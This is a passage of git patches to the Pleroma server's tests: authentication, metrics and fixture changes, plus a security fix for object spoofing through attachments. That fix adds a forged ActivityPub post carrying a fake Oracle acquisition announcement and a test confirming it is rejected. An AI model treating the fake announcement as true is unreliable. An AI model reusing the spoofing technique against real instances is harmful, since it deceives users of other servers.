feed (ATOM)", %{conn: conn} do - Pleroma.Config.put( + Config.put( [:feed, :post_title], %{max_length: 25, omission: "..."} ) @@ -82,7 +83,7 @@ defmodule Pleroma.Web.Feed.TagControllerTest do end test "gets a feed (RSS)", %{conn: conn} do - Pleroma.Config.put( + Config.put( [:feed, :post_title], %{max_length: 25, omission: "..."} ) @@ -157,7 +158,7 @@ defmodule Pleroma.Web.Feed.TagControllerTest do response = conn |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> get(tag_feed_path(conn, :feed, "pleromaart.rss")) |> response(200) xml = parse(response) @@ -183,14 +184,12 @@ defmodule Pleroma.Web.Feed.TagControllerTest do end describe "private instance" do - setup do: clear_config([:instance, :public]) + setup do: clear_config([:instance, :public], false) test "returns 404 for tags feed", %{conn: conn} do - Config.put([:instance, :public], false) - conn |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> get(tag_feed_path(conn, :feed, "pleromaart.rss")) |> response(404) end end diff --git a/test/pleroma/web/feed/user_controller_test.exs b/test/pleroma/web/feed/user_controller_test.exs index a5dc0894b..eabfe3a63 100644 --- a/test/pleroma/web/feed/user_controller_test.exs +++ b/test/pleroma/web/feed/user_controller_test.exs @@ -13,7 +13,7 @@ defmodule Pleroma.Web.Feed.UserControllerTest do alias Pleroma.User alias Pleroma.Web.CommonAPI - setup do: clear_config([:instance, :federating], true) + setup do: clear_config([:static_fe, :enabled], false) describe "feed" do setup do: clear_config([:feed]) @@ -192,6 +192,16 @@ defmodule Pleroma.Web.Feed.UserControllerTest do |> get(user_feed_path(conn, :feed, user.nickname)) |> response(404) end + + test "does not require authentication on non-federating instances", %{conn: conn} do + clear_config([:instance, :federating], false) + user = insert(:user) + + conn + |> put_req_header("accept", "application/rss+xml") + |> get("/users/#{user.nickname}/feed.rss") + |> response(200) + end end # Note: see ActivityPubControllerTest for JSON format tests diff --git a/test/pleroma/web/o_status/o_status_controller_test.exs b/test/pleroma/web/o_status/o_status_controller_test.exs index ee498f4b5..65b2c22db 100644 --- a/test/pleroma/web/o_status/o_status_controller_test.exs +++ b/test/pleroma/web/o_status/o_status_controller_test.exs @@ -7,7 +7,6 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do import Pleroma.Factory - alias Pleroma.Config alias Pleroma.Object alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub @@ -21,7 +20,7 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do :ok end - setup do: clear_config([:instance, :federating], true) + setup do: clear_config([:static_fe, :enabled], false) describe "Mastodon compatibility routes" do setup %{conn: conn} do @@ -215,15 +214,16 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do assert response(conn, 404) end - test "it requires authentication if instance is NOT federating", %{ + test "does not require authentication on non-federating instances", %{ conn: conn } do - user = insert(:user) + clear_config([:instance, :federating], false) note_activity = insert(:note_activity) - conn = put_req_header(conn, "accept", "text/html") - - ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}", user) + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{note_activity.id}") + |> response(200) end end @@ -325,14 +325,16 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do |> response(404) end - test "it requires authentication if instance is NOT federating", %{ + test "does not require authentication on non-federating instances", %{ conn: conn, note_activity: note_activity } do - user = insert(:user) - conn = put_req_header(conn, "accept", "text/html") + clear_config([:instance, :federating], false) - ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}/embed_player", user) + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{note_activity.id}/embed_player") + |> response(200) end end end diff --git a/test/pleroma/web/static_fe/static_fe_controller_test.exs b/test/pleroma/web/static_fe/static_fe_controller_test.exs index f819a1e52..19506f1d8 100644 --- a/test/pleroma/web/static_fe/static_fe_controller_test.exs +++ b/test/pleroma/web/static_fe/static_fe_controller_test.exs @@ -6,14 +6,12 @@ defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do use Pleroma.Web.ConnCase alias Pleroma.Activity - alias Pleroma.Config alias Pleroma.Web.ActivityPub.Transmogrifier alias Pleroma.Web.CommonAPI import Pleroma.Factory setup_all do: clear_config([:static_fe, :enabled], true) - setup do: clear_config([:instance, :federating], true) setup %{conn: conn} do conn = put_req_header(conn, "accept", "text/html") @@ -74,8 +72,27 @@ defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do refute html =~ ">test29<" end - test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}", user) + test "does not require authentication on non-federating instances", %{ + conn: conn, + user: user + } do + clear_config([:instance, :federating], false) + + conn = get(conn, "/users/#{user.nickname}") + + assert html_response(conn, 200) =~ user.nickname + end + + test "returns 404 for local user with `restrict_unauthenticated/profiles/local` setting", %{ + conn: conn + } do + clear_config([:restrict_unauthenticated, :profiles, :local], true) + + local_user = insert(:user, local: true) + + conn + |> get("/users/#{local_user.nickname}") + |> html_response(404) end end @@ -187,10 +204,28 @@ defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do assert html_response(conn, 302) =~ "redirected" end - test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do + test "does not require authentication on non-federating instances", %{ + conn: conn, + user: user + } do + clear_config([:instance, :federating], false) + + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) + + conn = get(conn, "/notice/#{activity.id}") + + assert html_response(conn, 200) =~ "testing a thing!" + end + + test "returns 404 for local public activity with `restrict_unauthenticated/activities/local` setting", + %{conn: conn, user: user} do + clear_config([:restrict_unauthenticated, :activities, :local], true) + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) - ensure_federating_or_authenticated(conn, "/notice/#{activity.id}", user) + conn + |> get("/notice/#{activity.id}") + |> html_response(404) end end end diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex index 9316a82e4..47cb65a80 100644 --- a/test/support/conn_case.ex +++ b/test/support/conn_case.ex @@ -112,28 +112,6 @@ defmodule Pleroma.Web.ConnCase do defp json_response_and_validate_schema(conn, _status) do flunk("Response schema not found for #{conn.method} #{conn.request_path} #{conn.status}") end - - defp ensure_federating_or_authenticated(conn, url, user) do - initial_setting = Config.get([:instance, :federating]) - on_exit(fn -> Config.put([:instance, :federating], initial_setting) end) - - Config.put([:instance, :federating], false) - - conn - |> get(url) - |> response(403) - - conn - |> assign(:user, user) - |> get(url) - |> response(200) - - Config.put([:instance, :federating], true) - - conn - |> get(url) - |> response(200) - end end end -- cgit v1.2.3 From 79caf3840e40ecd304aa79f42e826abc6329b255 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 27 Oct 2020 14:37:48 -0500 Subject: phoenix_controller_render_duration is no longer available in telemetry of Phoenix 1.5+ --- test/pleroma/web/endpoint/metrics_exporter_test.exs | 1 - 1 file changed, 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/endpoint/metrics_exporter_test.exs b/test/pleroma/web/endpoint/metrics_exporter_test.exs index f954cc1e7..875addc96 100644 --- a/test/pleroma/web/endpoint/metrics_exporter_test.exs +++ b/test/pleroma/web/endpoint/metrics_exporter_test.exs @@ -38,7 +38,6 @@ defmodule Pleroma.Web.Endpoint.MetricsExporterTest do for metric <- [ "http_requests_total", "http_request_duration_microseconds", - "phoenix_controller_render_duration", "phoenix_controller_call_duration", "telemetry_scrape_duration", "erlang_vm_memory_atom_bytes_total" -- cgit v1.2.3 From 4d693b5e54b46c8863c463503d270a0d61d79c37 Mon Sep 17 00:00:00 2001 From: Haelwenn <contact+git.pleroma.social@hacktivis.me> Date: Tue, 27 Oct 2020 22:44:31 +0000 Subject: Merge branch '2236-no-name' into 'develop' Resolve "Account cannot be fetched by some instances" Closes #2236 See merge request pleroma/pleroma!3101 --- test/fixtures/mewmew_no_name.json | 46 ++++++++++++++++++++++ .../pleroma/web/activity_pub/activity_pub_test.exs | 11 ++++++ 2 files changed, 57 insertions(+) create mode 100644 test/fixtures/mewmew_no_name.json (limited to 'test') diff --git a/test/fixtures/mewmew_no_name.json b/test/fixtures/mewmew_no_name.json new file mode 100644 index 000000000..532d4cf70 --- /dev/null +++ b/test/fixtures/mewmew_no_name.json @@ -0,0 +1,46 @@ +{ + "@context" : [ + "https://www.w3.org/ns/activitystreams", + "https://princess.cat/schemas/litepub-0.1.jsonld", + { + "@language" : "und" + } + ], + "attachment" : [], + "capabilities" : { + "acceptsChatMessages" : true + }, + "discoverable" : false, + "endpoints" : { + "oauthAuthorizationEndpoint" : "https://princess.cat/oauth/authorize", + "oauthRegistrationEndpoint" : "https://princess.cat/api/v1/apps", + "oauthTokenEndpoint" : "https://princess.cat/oauth/token", + "sharedInbox" : "https://princess.cat/inbox", + "uploadMedia" : "https://princess.cat/api/ap/upload_media" + }, + "followers" : "https://princess.cat/users/mewmew/followers", + "following" : "https://princess.cat/users/mewmew/following", + "icon" : { + "type" : "Image", + "url" : "https://princess.cat/media/12794fb50e86911e65be97f69196814049dcb398a2f8b58b99bb6591576e648c.png?name=blobcatpresentpink.png" + }, + "id" : "https://princess.cat/users/mewmew", + "image" : { + "type" : "Image", + "url" : "https://princess.cat/media/05d8bf3953ab6028fc920494ffc643fbee9dcef40d7bdd06f107e19acbfbd7f9.png" + }, + "inbox" : "https://princess.cat/users/mewmew/inbox", + "manuallyApprovesFollowers" : true, + "name" : " ", + "outbox" : "https://princess.cat/users/mewmew/outbox", + "preferredUsername" : "mewmew", + "publicKey" : { + "id" : "https://princess.cat/users/mewmew#main-key", + "owner" : "https://princess.cat/users/mewmew", + "publicKeyPem" : "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAru7VpygVef4zrFwnj0Mh\nrbO/2z2EdKN3rERtNrT8zWsLXNLQ50lfpRPnGDrd+xq7Rva4EIu0d5KJJ9n4vtY0\nuxK3On9vA2oyjLlR9O0lI3XTrHJborG3P7IPXrmNUMFpHiFHNqHp5tugUrs1gUFq\n7tmOmM92IP4Wjk8qNHFcsfnUbaPTX7sNIhteQKdi5HrTb/6lrEIe4G/FlMKRqxo3\nRNHuv6SNFQuiUKvFzjzazvjkjvBSm+aFROgdHa2tKl88StpLr7xmuY8qNFCRT6W0\nLacRp6c8ah5f03Kd+xCBVhCKvKaF1K0ERnQTBiitUh85md+Mtx/CoDoLnmpnngR3\nvQIDAQAB\n-----END PUBLIC KEY-----\n\n" + }, + "summary" : "please reply to my posts as direct messages if you have many followers", + "tag" : [], + "type" : "Person", + "url" : "https://princess.cat/users/mewmew" +} diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs index 9200aef65..99b1076d6 100644 --- a/test/pleroma/web/activity_pub/activity_pub_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -2257,4 +2257,15 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do assert length(activities) == 2 end end + + test "allow fetching of accounts with an empty string name field" do + Tesla.Mock.mock(fn + %{method: :get, url: "https://princess.cat/users/mewmew"} -> + file = File.read!("test/fixtures/mewmew_no_name.json") + %Tesla.Env{status: 200, body: file} + end) + + {:ok, user} = ActivityPub.make_user_from_ap_id("https://princess.cat/users/mewmew") + assert user.name == " " + end end -- cgit v1.2.3 From 5116859f0e53a5b79a01f764fa3baf4c2110df1b Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Tue, 3 Nov 2020 13:59:18 +0000 Subject: Merge branch 'fix/object-attachment-spoof' into 'develop' Fix object spoofing vulnerability in attachments See merge request pleroma/secteam/pleroma!18 --- test/fixtures/spoofed-object.json | 26 +++ test/pleroma/object/fetcher_test.exs | 27 ++- test/pleroma/object_test.exs | 15 +- .../pleroma/web/activity_pub/activity_pub_test.exs | 24 ++- .../transmogrifier/announce_handling_test.exs | 6 +- .../transmogrifier/article_handling_test.exs | 15 +- .../transmogrifier/audio_handling_test.exs | 3 +- .../transmogrifier/event_handling_test.exs | 6 +- test/support/http_request_mock.ex | 190 +++++++++++++++------ 9 files changed, 235 insertions(+), 77 deletions(-) create mode 100644 test/fixtures/spoofed-object.json (limited to 'test') diff --git a/test/fixtures/spoofed-object.json b/test/fixtures/spoofed-object.json new file mode 100644 index 000000000..91e34307d --- /dev/null +++ b/test/fixtures/spoofed-object.json @@ -0,0 +1,26 @@ +{ + "@context": [ + "https://www.w3.org/ns/activitystreams", + "https://patch.cx/schemas/litepub-0.1.jsonld", + { + "@language": "und" + } + ], + "actor": "https://patch.cx/users/rin", + "attachment": [], + "attributedTo": "https://patch.cx/users/rin", + "cc": [ + "https://patch.cx/users/rin/followers" + ], + "content": "Oracle Corporation (NYSE: ORCL) today announced that it has signed a definitive merger agreement to acquire Pleroma AG (FRA: PLA), for $26.50 per share (approximately $10.3 billion). The transaction has been approved by the boards of directors of both companies and should close by early January.", + "context": "https://patch.cx/contexts/spoof", + "id": "https://patch.cx/objects/spoof", + "published": "2020-10-23T18:02:06.038856Z", + "sensitive": false, + "summary": "Oracle buys Pleroma", + "tag": [], + "to": [ + "https://www.w3.org/ns/activitystreams#Public" + ], + "type": "Note" +} diff --git a/test/pleroma/object/fetcher_test.exs b/test/pleroma/object/fetcher_test.exs index 14d2c645f..7df6af7fe 100644 --- a/test/pleroma/object/fetcher_test.exs +++ b/test/pleroma/object/fetcher_test.exs @@ -21,6 +21,17 @@ defmodule Pleroma.Object.FetcherTest do %{method: :get, url: "https://mastodon.example.org/users/userisgone404"} -> %Tesla.Env{status: 404} + %{ + method: :get, + url: + "https://patch.cx/media/03ca3c8b4ac3ddd08bf0f84be7885f2f88de0f709112131a22d83650819e36c2.json" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-type", "application/json"}], + body: File.read!("test/fixtures/spoofed-object.json") + } + env -> apply(HttpRequestMock, :request, [env]) end) @@ -34,19 +45,22 @@ defmodule Pleroma.Object.FetcherTest do %{method: :get, url: "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/fetch_mocks/9wTkLEnuq47B25EehM.json") + body: File.read!("test/fixtures/fetch_mocks/9wTkLEnuq47B25EehM.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{method: :get, url: "https://social.sakamoto.gq/users/eal"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/fetch_mocks/eal.json") + body: File.read!("test/fixtures/fetch_mocks/eal.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{method: :get, url: "https://busshi.moe/users/tuxcrafting/statuses/104410921027210069"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/fetch_mocks/104410921027210069.json") + body: File.read!("test/fixtures/fetch_mocks/104410921027210069.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{method: :get, url: "https://busshi.moe/users/tuxcrafting"} -> @@ -132,6 +146,13 @@ defmodule Pleroma.Object.FetcherTest do "http://mastodon.example.org/@admin/99541947525187367" ) end + + test "it does not fetch a spoofed object uploaded on an instance as an attachment" do + assert {:error, _} = + Fetcher.fetch_object_from_id( + "https://patch.cx/media/03ca3c8b4ac3ddd08bf0f84be7885f2f88de0f709112131a22d83650819e36c2.json" + ) + end end describe "implementation quirks" do diff --git a/test/pleroma/object_test.exs b/test/pleroma/object_test.exs index 99caba336..5d4e6fb84 100644 --- a/test/pleroma/object_test.exs +++ b/test/pleroma/object_test.exs @@ -281,7 +281,11 @@ defmodule Pleroma.ObjectTest do setup do mock(fn %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/poll_original.json"), + headers: HttpRequestMock.activitypub_object_headers() + } env -> apply(HttpRequestMock, :request, [env]) @@ -315,7 +319,8 @@ defmodule Pleroma.ObjectTest do mock_modified.(%Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + body: File.read!("test/fixtures/tesla_mock/poll_modified.json"), + headers: HttpRequestMock.activitypub_object_headers() }) updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) @@ -359,7 +364,8 @@ defmodule Pleroma.ObjectTest do mock_modified.(%Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + body: File.read!("test/fixtures/tesla_mock/poll_modified.json"), + headers: HttpRequestMock.activitypub_object_headers() }) updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100) @@ -387,7 +393,8 @@ defmodule Pleroma.ObjectTest do mock_modified.(%Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + body: File.read!("test/fixtures/tesla_mock/poll_modified.json"), + headers: HttpRequestMock.activitypub_object_headers() }) updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs index 99b1076d6..c6ca37847 100644 --- a/test/pleroma/web/activity_pub/activity_pub_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -1410,19 +1410,25 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do mock(fn env -> case env.url do "http://localhost:4001/users/masto_hidden_counters/following" -> - json(%{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://localhost:4001/users/masto_hidden_counters/followers" - }) + json( + %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://localhost:4001/users/masto_hidden_counters/followers" + }, + headers: HttpRequestMock.activitypub_object_headers() + ) "http://localhost:4001/users/masto_hidden_counters/following?page=1" -> %Tesla.Env{status: 403, body: ""} "http://localhost:4001/users/masto_hidden_counters/followers" -> - json(%{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://localhost:4001/users/masto_hidden_counters/following" - }) + json( + %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://localhost:4001/users/masto_hidden_counters/following" + }, + headers: HttpRequestMock.activitypub_object_headers() + ) "http://localhost:4001/users/masto_hidden_counters/followers?page=1" -> %Tesla.Env{status: 403, body: ""} @@ -2262,7 +2268,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do Tesla.Mock.mock(fn %{method: :get, url: "https://princess.cat/users/mewmew"} -> file = File.read!("test/fixtures/mewmew_no_name.json") - %Tesla.Env{status: 200, body: file} + %Tesla.Env{status: 200, body: file, headers: HttpRequestMock.activitypub_object_headers()} end) {:ok, user} = ActivityPub.make_user_from_ap_id("https://princess.cat/users/mewmew") diff --git a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs index 54335acdb..99c296c74 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs @@ -60,7 +60,11 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnnounceHandlingTest do Tesla.Mock.mock(fn %{method: :get} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-note-object.json")} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/mastodon-note-object.json"), + headers: HttpRequestMock.activitypub_object_headers() + } end) _user = insert(:user, local: false, ap_id: data["actor"]) diff --git a/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs index 9b12a470a..b0ae804c5 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs @@ -13,7 +13,11 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do test "Pterotype (Wordpress Plugin) Article" do Tesla.Mock.mock(fn %{url: "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json"), + headers: HttpRequestMock.activitypub_object_headers() + } end) data = @@ -36,13 +40,15 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do %{url: "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{url: "https://baptiste.gelez.xyz/@/BaptisteGelez"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json"), + headers: HttpRequestMock.activitypub_object_headers() } end) @@ -61,7 +67,8 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do Tesla.Mock.mock(fn %{url: "https://prismo.news/@mxb"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") + body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json"), + headers: HttpRequestMock.activitypub_object_headers() } end) diff --git a/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs index 0636d00c5..181eb7b09 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs @@ -48,7 +48,8 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.AudioHandlingTest do %{url: "https://channels.tests.funkwhale.audio/federation/actors/compositions"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json") + body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json"), + headers: HttpRequestMock.activitypub_object_headers() } end) diff --git a/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs index 7f1ef2cbd..d7c55cfbe 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs @@ -13,13 +13,15 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.EventHandlingTest do %{url: "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json") + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{url: "https://mobilizon.org/@tcit"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json") + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json"), + headers: HttpRequestMock.activitypub_object_headers() } end) diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index cb022333f..93464ebff 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -5,6 +5,8 @@ defmodule HttpRequestMock do require Logger + def activitypub_object_headers, do: [{"content-type", "application/activity+json"}] + def request( %Tesla.Env{ url: url, @@ -34,7 +36,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json") + body: File.read!("test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json"), + headers: activitypub_object_headers() }} end @@ -42,7 +45,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/moonman@shitposter.club.json") + body: File.read!("test/fixtures/tesla_mock/moonman@shitposter.club.json"), + headers: activitypub_object_headers() }} end @@ -50,7 +54,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/status.emelie.json") + body: File.read!("test/fixtures/tesla_mock/status.emelie.json"), + headers: activitypub_object_headers() }} end @@ -66,7 +71,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/emelie.json") + body: File.read!("test/fixtures/tesla_mock/emelie.json"), + headers: activitypub_object_headers() }} end @@ -78,7 +84,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/rinpatch.json") + body: File.read!("test/fixtures/tesla_mock/rinpatch.json"), + headers: activitypub_object_headers() }} end @@ -86,7 +93,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_attachment.json") + body: File.read!("test/fixtures/tesla_mock/poll_attachment.json"), + headers: activitypub_object_headers() }} end @@ -99,7 +107,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/webfinger_emelie.json") + body: File.read!("test/fixtures/tesla_mock/webfinger_emelie.json"), + headers: activitypub_object_headers() }} end @@ -112,7 +121,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mike@osada.macgirvin.com.json") + body: File.read!("test/fixtures/tesla_mock/mike@osada.macgirvin.com.json"), + headers: activitypub_object_headers() }} end @@ -190,7 +200,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/lucifermysticus.json") + body: File.read!("test/fixtures/tesla_mock/lucifermysticus.json"), + headers: activitypub_object_headers() }} end @@ -198,7 +209,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") + body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json"), + headers: activitypub_object_headers() }} end @@ -211,7 +223,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/kaniini@hubzilla.example.org.json") + body: File.read!("test/fixtures/tesla_mock/kaniini@hubzilla.example.org.json"), + headers: activitypub_object_headers() }} end @@ -219,7 +232,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/rye.json") + body: File.read!("test/fixtures/tesla_mock/rye.json"), + headers: activitypub_object_headers() }} end @@ -227,7 +241,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/rye.json") + body: File.read!("test/fixtures/tesla_mock/rye.json"), + headers: activitypub_object_headers() }} end @@ -246,7 +261,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/puckipedia.com.json") + body: File.read!("test/fixtures/tesla_mock/puckipedia.com.json"), + headers: activitypub_object_headers() }} end @@ -254,7 +270,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/7even.json") + body: File.read!("test/fixtures/tesla_mock/7even.json"), + headers: activitypub_object_headers() }} end @@ -262,7 +279,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/peertube.moe-vid.json") + body: File.read!("test/fixtures/tesla_mock/peertube.moe-vid.json"), + headers: activitypub_object_headers() }} end @@ -270,7 +288,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https___framatube.org_accounts_framasoft.json") + body: File.read!("test/fixtures/tesla_mock/https___framatube.org_accounts_framasoft.json"), + headers: activitypub_object_headers() }} end @@ -278,7 +297,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/framatube.org-video.json") + body: File.read!("test/fixtures/tesla_mock/framatube.org-video.json"), + headers: activitypub_object_headers() }} end @@ -286,7 +306,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/craigmaloney.json") + body: File.read!("test/fixtures/tesla_mock/craigmaloney.json"), + headers: activitypub_object_headers() }} end @@ -294,7 +315,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/peertube-social.json") + body: File.read!("test/fixtures/tesla_mock/peertube-social.json"), + headers: activitypub_object_headers() }} end @@ -304,7 +326,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json") + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json"), + headers: activitypub_object_headers() }} end @@ -312,7 +335,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json") + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json"), + headers: activitypub_object_headers() }} end @@ -320,7 +344,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json"), + headers: activitypub_object_headers() }} end @@ -328,7 +353,8 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{ status: 200, - body: 